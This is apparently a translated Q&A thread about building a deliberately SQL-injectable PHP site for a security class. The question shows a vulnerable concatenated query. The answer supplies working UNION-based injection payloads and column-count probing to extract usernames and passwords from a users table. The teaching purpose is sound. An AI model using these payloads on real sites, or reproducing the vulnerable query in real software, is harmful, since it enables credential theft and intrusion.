我的PHP站点的SQL注入

时间:2015-12-07 18:34:22

标签: sql security sql-injection

我正在为网络安全类设计一个站点,该站点容易受到SQL注入攻击。我的查询是用php看起来像这样

$sql = "SELECT * FROM blogposts WHERE name= '" . $_POST["blogname"] . "'";

它正在查询表博客中的帖子。我正在使用mysql_fetch_array进行打印,因此无论列名如何,它都应该打印出结果。

但是,在我的数据库中,我有另一个名为users的表,它有用户名和密码。我希望查询返回。

有人能指出我正确的方向吗?如果我不能打印另一张桌子,我该怎么做呢?

1 个答案:

答案 0 :(得分:3)

你会注入

' OR '1'='1' UNION SELECT Username, Password FROM users;--

哪个会进行查询

SELECT * FROM blogposts WHERE name= '' OR '1'='1' UNION SELECT Username, Password FROM users;--'

将来自原始更改查询的结果与来自users表的结果结合起来。

但是,首先需要确保从用户中选择的列数与原始查询匹配。为此,您首先要进行一些测试查询,例如:

     ' OR '1'='1' UNION SELECT 1 FROM users;--
     ' OR '1'='1' UNION SELECT 1,2 FROM users;--
     ' OR '1'='1' UNION SELECT 1,2,3 FROM users;--

直到您的查询返回没有错误。然后你知道你有正确的列数。如果您说有5列,那么您对users表的注入查询将变为

' OR '1'='1' UNION SELECT Username, Password, 3,4,5 FROM users;--

如果用户表和列的名称未知,那么您可以使用information-schema数据库进行联合选择以查找这些,或者您可以使用暴力(例如尝试选择username,{ {1}},unamename等,直到您得到结果。)